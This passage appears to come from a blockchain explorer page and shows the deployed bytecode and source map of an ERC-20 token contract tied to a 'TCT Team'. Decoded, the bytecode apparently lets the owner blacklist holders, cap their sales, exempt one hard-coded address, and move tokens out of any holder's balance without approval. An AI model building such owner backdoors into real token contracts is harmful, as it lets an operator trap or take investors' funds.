4696d652e20506c6561736520636f6e7461637420544354205465616d20666f7220617373697374616e6365a26469706673582212205fa18d906a523e831f30d92f534ec8ad9e9da5fcfbef3129c3aa572fde61629364736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102275760003560e01c806385d4787b11610130578063b48b6810116100b8578063e1d8752e1161007c578063e1d8752e14610678578063e7dad4f9146106a8578063ecb24bf2146106d8578063f2fde38b146106f6578063fc3f98351461071257610227565b8063b48b6810146105c2578063c522b655146105de578063c7574839146105fa578063ca1245b814610618578063dd62ed3e1461064857610227565b806395d89b41116100ff57806395d89b411461050a5780639b0e2e8614610528578063a457c2d714610544578063a9059cbb14610574578063abdbb972146105a457610227565b806385d4787b146104945780638da5cb5b146104b05780638f63e1b7146104ce57806390b6f3be146104ec57610227565b806339509351116101b3578063590a966211610182578063590a9662146103f05780636b0eba631461042057806370a082311461043c57806370d5ae051461046c578063715018a61461048a57610227565b806339509351146103585780633d50c11a1461038857806355c03e29146103a457806356832e1a146103d457610227565b806318160ddd116101fa57806318160ddd146102b457806322599211146102d257806323b872dd146102ee5780632a6e3fbd1461031e578063313ce5671461033a57610227565b8063062287491461022c57806306fdde031461024a578063095ea7b3146102685780630d1118ce14610298575b600080fd5b61023461072e565b6040516102419190612a4b565b60405180910390f35b610252610758565b60405161025f9190612a81565b60405180910390f35b610282600480360381019061027d919061269e565b6107ea565b60405161028f9190612a66565b60405180910390f35b6102b260048036038101906102ad919061269e565b610808565b005b6102bc6108b5565b6040516102c99190612c03565b60405180910390f35b6102ec60048036038101906102e791906127fb565b6108bf565b005b6103086004803603810190610303919061264b565b610958565b6040516103159190612a66565b60405180910390f35b61033860048036038101906103339190612828565b6109ed565b005b610342610a73565b60405161034f9190612c1e565b60405180910390f35b610372600480360381019061036d919061269e565b610a7c565b60405161037f9190612a66565b60405180910390f35b6103a2600480360381019061039d91906126de565b610b28565b005b6103be60048036038101906103b991906125de565b610c2a565b6040516103cb9190612c03565b60405180910390f35b6103ee60048036038101906103e991906126de565b610c73565b005b61040a6004803603810190610405919061269e565b610d8a565b6040516104179190612a66565b60405180910390f35b61043a600480360381019061043591906127fb565b610e1d565b005b610456600480360381019061045191906125de565b610eb6565b6040516104639190612c03565b60405180910390f35b610474610efe565b6040516104819190612a4b565b60405180910390f35b610492610f03565b005b6104ae60048036038101906104a991906126de565b610f8b565b005b6104b861108f565b6040516104c59190612a4b565b60405180910390f35b6104d66110b9565b6040516104e39190612c03565b60405180910390f35b6104f46110c3565b6040516105019190612c03565b60405180910390f35b6105126110cd565b60405161051f9190612a81565b60405180910390f35b610542600480360381019061053d91906126de565b61115f565b005b61055e6004803603810190610559919061269e565b611261565b60405161056b9190612a66565b60405180910390f35b61058e6004803603810190610589919061269e565b61134c565b60405161059b9190612a66565b60405180910390f35b6105ac61148a565b6040516105b99190612a66565b60405180910390f35b6105dc60048036038101906105d79190612828565b6114a1565b005b6105f860048036038101906105f391906126de565b611527565b005b61060261163e565b60405161060f9190612a4b565b60405180910390f35b610632600480360381019061062d9190612727565b611668565b60405161063f9190612a66565b60405180910390f35b610662600480360381019061065d919061260b565b61175b565b60405161066f9190612c03565b60405180910390f35b610692600480360381019061068d919061264b565b6117e2565b60405161069f9190612a66565b60405180910390f35b6106c260048036038101906106bd91906125de565b611877565b6040516106cf9190612a66565b60405180910390f35b6106e06118c2565b6040516106ed9190612a66565b60405180910390f35b610710600480360381019061070b91906125de565b6118d9565b005b61072c6004803603810190610727919061279f565b6119d1565b005b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461076790612e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461079390612e6f565b80156107e05780601f106107b5576101008083540402835291602001916107e0565b820191906000526020600020905b8154815290600101906020018083116107c357829003601f168201915b5050505050905090565b60006107fe6107f7611ad5565b8484611add565b6001905092915050565b610810611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661082e61108f565b73ffffffffffffffffffffffffffffffffffffffff1614610884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087b90612b63565b60405180910390fd5b6108b182600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611ca8565b5050565b6000600254905090565b6108c7611ad5565b73ffffffffffffffffffffffffffffffffffffffff166108e561108f565b73ffffffffffffffffffffffffffffffffffffffff161461093b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093290612b63565b60405180910390fd5b80600d60016101000a81548160ff02191690831515021790555050565b6000600d60019054906101000a900460ff16806109b457507397e5d79513966f3164f549da5868cccdcb51ad6773ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156109ca576109c4848484611f29565b506109e2565b6109d5848484612021565b6109e0848484611f29565b505b600190509392505050565b6109f5611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610a1361108f565b73ffffffffffffffffffffffffffffffffffffffff1614610a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6090612b63565b60405180910390fd5b80600e8190555050565b60006012905090565b6000610b1e610a89611ad5565b848460016000610a97611ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b199190612cd2565b611add565b6001905092915050565b610b30611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610b4e61108f565b73ffffffffffffffffffffffffffffffffffffffff1614610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90612b63565b60405180910390fd5b60005b8151811015610c26576000828281518110610bc557610bc4612fa8565b5b60200260200101519050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009055508080610c1e90612ed2565b915050610ba7565b5050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c7b611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610c9961108f565b73ffffffffffffffffffffffffffffffffffffffff1614610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce690612b63565b60405180910390fd5b60005b8151811015610d86576000828281518110610d1057610d0f612fa8565b5b602002602001015190506000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550508080610d7e90612ed2565b915050610cf2565b5050565b6000610d94611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610db261108f565b73ffffffffffffffffffffffffffffffffffffffff1614610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff90612b63565b60405180910390fd5b610e12838361217a565b506001905092915050565b610e25611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610e4361108f565b73ffffffffffffffffffffffffffffffffffffffff1614610e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9090612b63565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600090565b610f0b611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610f2961108f565b73ffffffffffffffffffffffffffffffffffffffff1614610f7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7690612b63565b60405180910390fd5b610f896000612198565b565b610f93611ad5565b73ffffffffffffffffffffffffffffffffffffffff16610fb161108f565b73ffffffffffffffffffffffffffffffffffffffff1614611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90612b63565b60405180910390fd5b60005b815181101561108b57600082828151811061102857611027612fa8565b5b602002602001015190506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050808061108390612ed2565b91505061100a565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600e54905090565b6000600f54905090565b6060600480546110dc90612e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461110890612e6f565b80156111555780601f1061112a57610100808354040283529160200191611155565b820191906000526020600020905b81548152906001019060200180831161113857829003601f168201915b5050505050905090565b611167611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661118561108f565b73ffffffffffffffffffffffffffffffffffffffff16146111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d290612b63565b60405180910390fd5b60005b815181101561125d5760008282815181106111fc576111fb612fa8565b5b60200260200101519050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550808061125590612ed2565b9150506111de565b5050565b60008060016000611270611ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612be3565b60405180910390fd5b611341611338611ad5565b85858403611add565b600191505092915050565b600080611357611ad5565b9050600061136482610eb6565b90506000600c54856113769190612d28565b9050600d60019054906101000a900460ff16806113d257507397e5d79513966f3164f549da5868cccdcb51ad6773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156113e7576113e1868661217a565b5061147d565b6113f2838787612021565b611413868260026114039190612d59565b8761140e9190612db3565b61217a565b1561147c578482111561147b5761144c600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261217a565b50611479600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261217a565b505b5b5b6001935050505092915050565b6000600d60019054906101000a900460ff16905090565b6114a9611ad5565b73ffffffffffffffffffffffffffffffffffffffff166114c761108f565b73ffffffffffffffffffffffffffffffffffffffff161461151d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151490612b63565b60405180910390fd5b80600f8190555050565b61152f611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661154d61108f565b73ffffffffffffffffffffffffffffffffffffffff16146115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612b63565b60405180910390fd5b60005b815181101561163a5760008282815181106115c4576115c3612fa8565b5b602002602001015190506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061163290612ed2565b9150506115a6565b5050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611672611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661169061108f565b73ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd90612b63565b60405180910390fd5b60005b835181101561175057600084828151811061170757611706612fa8565b5b60200260200101519050600084838151811061172657611725612fa8565b5b6020026020010151905061173a828261217a565b505050808061174890612ed2565b9150506116e9565b506001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006117ec611ad5565b73ffffffffffffffffffffffffffffffffffffffff1661180a61108f565b73ffffffffffffffffffffffffffffffffffffffff1614611860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185790612b63565b60405180910390fd5b61186b848484611f29565b50600190509392505050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b6000600d60009054906101000a900460ff16905090565b6118e1611ad5565b73ffffffffffffffffffffffffffffffffffffffff166118ff61108f565b73ffffffffffffffffffffffffffffffffffffffff1614611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194c90612b63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bc90612ac3565b60405180910390fd5b6119ce81612198565b50565b6119d9611ad5565b73ffffffffffffffffffffffffffffffffffffffff166119f761108f565b73ffffffffffffffffffffffffffffffffffffffff1614611a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4490612b63565b60405180910390fd5b60005b8251811015611ad0576000838281518110611a6e57611a6d612fa8565b5b6020026020010151905082600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508080611ac890612ed2565b915050611a50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4490612ba3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb490612ae3565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c9b9190612c03565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0f90612b83565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f90612aa3565b60405180910390fd5b611d9383838361225e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1090612b03565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611eac9190612cd2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f109190612c03565b60405180910390a3611f23848484612263565b50505050565b6000611f36848484611ca8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611f81611ad5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff890612b43565b60405180910390fd5b6120158561200d611ad5565b858403611add565b60019150509392505050565b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156120a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209b90612b23565b60405180910390fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211e90612bc3565b60405180910390fd5b61213083612268565b156121605761215b8382600e546040518060800160405280606081526020016133fc606091396122be565b612175565b61216a8282612343565b6121748382612343565b5b505050565b600061218e612187611ad5565b8484611ca8565b6001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e54111561233d5760006122d485610eb6565b9050600061271084836122e79190612d59565b6122f19190612d28565b9050808511158390612339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123309190612a81565b60405180910390fd5b5050505b50505050565b60006040518060a001604052806061815260200161345c6061913990506000600f54111561237a576123798383600f54846122be565b5b600d60009054906101000a900460ff161561245e576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006123de85610eb6565b90506000821180156123f05750600081115b1561245b57600061271083836124069190612d59565b6124109190612d28565b9050808511158490612458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244f9190612a81565b60405180910390fd5b50505b50505b505050565b600061247661247184612c5e565b612c39565b905080838252602082019050828560208602820111156124995761249861300b565b5b60005b858110156124c957816124af8882612543565b84526020840193506020830192505060018101905061249c565b5050509392505050565b60006124e66124e184612c8a565b612c39565b905080838252602082019050828560208602820111156125095761250861300b565b5b60005b85811015612539578161251f88826125c9565b84526020840193506020830192505060018101905061250c565b5050509392505050565b600081359050612552816133b6565b92915050565b600082601f83011261256d5761256c613006565b5b813561257d848260208601612463565b91505092915050565b600082601f83011261259b5761259a613006565b5b81356125ab8482602086016124d3565b91505092915050565b6000813590506125c3816133cd565b92915050565b6000813590506125d8816133e4565b92915050565b6000602082840312156125f4576125f3613015565b5b600061260284828501612543565b91505092915050565b6000806040838503121561262257612621613015565b5b600061263085828601612543565b925050602061264185828601612543565b9150509250929050565b60008060006060848603121561266457612663613015565b5b600061267286828701612543565b935050602061268386828701612543565b9250506040612694868287016125c9565b9150509250925092565b600080604083850312156126b5576126b4613015565b5b60006126c385828601612543565b92505060206126d4858286016125c9565b9150509250929050565b6000602082840312156126f4576126f3613015565b5b600082013567ffffffffffffffff81111561271257612711613010565b5b61271e84828501612558565b91505092915050565b6000806040838503121561273e5761273d613015565b5b600083013567ffffffffffffffff81111561275c5761275b613010565b5b61276885828601612558565b925050602083013567ffffffffffffffff81111561278957612788613010565b5b61279585828601612586565b9150509250929050565b600080604083850312156127b6576127b5613015565b5b600083013567ffffffffffffffff8111156127d4576127d3613010565b5b6127e085828601612558565b92505060206127f1858286016125c9565b9150509250929050565b60006020828403121561281157612810613015565b5b600061281f848285016125b4565b91505092915050565b60006020828403121561283e5761283d613015565b5b600061284c848285016125c9565b91505092915050565b61285e81612de7565b82525050565b61286d81612df9565b82525050565b600061287e82612cb6565b6128888185612cc1565b9350612898818560208601612e3c565b6128a18161301a565b840191505092915050565b60006128b9602383612cc1565b91506128c48261302b565b604082019050919050565b60006128dc602683612cc1565b91506128e78261307a565b604082019050919050565b60006128ff602283612cc1565b915061290a826130c9565b604082019050919050565b6000612922602683612cc1565b915061292d82613118565b604082019050919050565b6000612945604b83612cc1565b915061295082613167565b606082019050919050565b6000612968602883612cc1565b9150612973826131dc565b604082019050919050565b600061298b602083612cc1565b91506129968261322b565b602082019050919050565b60006129ae602583612cc1565b91506129b982613254565b604082019050919050565b60006129d1602483612cc1565b91506129dc826132a3565b604082019050919050565b60006129f4605183612cc1565b91506129ff826132f2565b606082019050919050565b6000612a17602583612cc1565b9150612a2282613367565b604082019050919050565b612a3681612e25565b82525050565b612a4581612e2f565b82525050565b6000602082019050612a606000830184612855565b92915050565b6000602082019050612a7b6000830184612864565b92915050565b60006020820190508181036000830152612a9b8184612873565b905092915050565b60006020820190508181036000830152612abc816128ac565b9050919050565b60006020820190508181036000830152612adc816128cf565b9050919050565b60006020820190508181036000830152612afc816128f2565b9050919050565b60006020820190508181036000830152612b1c81612915565b9050919050565b60006020820190508181036000830152612b3c81612938565b9050919050565b60006020820190508181036000830152612b5c8161295b565b9050919050565b60006020820190508181036000830152612b7c8161297e565b9050919050565b60006020820190508181036000830152612b9c816129a1565b9050919050565b60006020820190508181036000830152612bbc816129c4565b9050919050565b60006020820190508181036000830152612bdc816129e7565b9050919050565b60006020820190508181036000830152612bfc81612a0a565b9050919050565b6000602082019050612c186000830184612a2d565b92915050565b6000602082019050612c336000830184612a3c565b92915050565b6000612c43612c54565b9050612c4f8282612ea1565b919050565b6000604051905090565b600067ffffffffffffffff821115612c7957612c78612fd7565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612ca557612ca4612fd7565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000612cdd82612e25565b9150612ce883612e25565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d1d57612d1c612f1b565b5b828201905092915050565b6000612d3382612e25565b9150612d3e83612e25565b925082612d4e57612d4d612f4a565b5b828204905092915050565b6000612d6482612e25565b9150612d6f83612e25565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612da857612da7612f1b565b5b828202905092915050565b6000612dbe82612e25565b9150612dc983612e25565b925082821015612ddc57612ddb612f1b565b5b828203905092915050565b6000612df282612e05565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612e5a578082015181840152602081019050612e3f565b83811115612e69576000848401525b50505050565b60006002820490506001821680612e8757607f821691505b60208210811415612e9b57612e9a612f79565b5b50919050565b612eaa8261301a565b810181811067ffffffffffffffff82111715612ec957612ec8612fd7565b5b80604052505050565b6000612edd82612e25565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f1057612f0f612f1b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f596f75206172652063757272656e746c7920626c6f636b65642066726f6d207460008201527f72616e7366657272696e6720746f6b656e732e20506c6561736520636f6e746160208201527f637420544354205465616d000000000000000000000000000000000000000000604082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722072656365697665722069732063757272656e746c7920626c6f636b60008201527f65642066726f6d20726563656976696e6720746f6b656e732e20506c6561736560208201527f20636f6e7461637420544354205465616d000000000000000000000000000000604082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6133bf81612de7565b81146133ca57600080fd5b50565b6133d681612df9565b81146133e157600080fd5b50565b6133ed81612e25565b81146133f857600080fd5b5056fe596f75722062757920657863656564732074686520616d6f756e7420796f752061726520616c6c6f77656420617420746869732074696d652e20506c6561736520636f6e7461637420544354205465616d20666f7220617373697374616e6365596f75722073616c6520657863656564732074686520616d6f756e7420796f752061726520616c6c6f77656420617420746869732074696d652e20506c6561736520636f6e7461637420544354205465616d20666f7220617373697374616e6365a26469706673582212205fa18d906a523e831f30d92f534ec8ad9e9da5fcfbef3129c3aa572fde61629364736f6c63430008070033

Deployed Bytecode Sourcemap

136:8110:6:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2676:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2053:98:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4150:166;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3141:125:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;:106:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4573:125:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2145:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4326:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2990:91:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5656:212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6071:244:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2904:126;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5826:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3272:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4194:126;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3305:125:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10386:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1598:92:5;;;:::i;:::-;;3959:229:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;966:85:5;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4456:107:6;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4954:109;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2264:102:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5073:234:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6355:405:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1361:778:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4708:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4822:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5586:230;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2569:97;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3618:335;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3863:149:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3431:181:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2776:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3036:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1839:189:5;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5313:267:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2676:90;2719:7;2745:14;;;;;;;;;;;2738:21;;2676:90;:::o;2053:98:2:-;2107:13;2139:5;2132:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2053:98;:::o;4150:166::-;4233:4;4249:39;4258:12;:10;:12::i;:::-;4272:7;4281:6;4249:8;:39::i;:::-;4305:4;4298:11;;4150:166;;;;:::o;3141:125:6:-;1189:12:5;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3219:40:6::1;3229:4;3235:15;;;;;;;;;;;3252:6;3219:9;:40::i;:::-;3141:125:::0;;:::o;:106:2:-;3202:7;3228:12;;3221:19;;3141:106;:::o;4573:125:6:-;1189:12:5;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4677:14:6::1;4658:16;;:33;;;;;;;;;;;;;;;;;;4573:125:::0;:::o;2145:418::-;2244:4;2272:16;;;;;;;;;;;:71;;;;2301:42;2292:51;;:5;:51;;;2272:71;2269:267;;;2358:38;2377:5;2384:3;2389:6;2358:18;:38::i;:::-;;2269:267;;;2428:44;2453:5;2460:3;2465:6;2428:24;:44::i;:::-;2486:38;2505:5;2512:3;2517:6;2486:18;:38::i;:::-;;2269:267;2552:4;2545:11;;2145:418;;;;;:::o;4326:120::-;1189:12:5;:10;:12::i;:::-;1178:23;;:7;:5;:7::i;:::-;:23;;;1170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4429:10:6::1;4407:19;:32;;;;4326:120:::0;:::o;2990:91:2:-;3048:5;307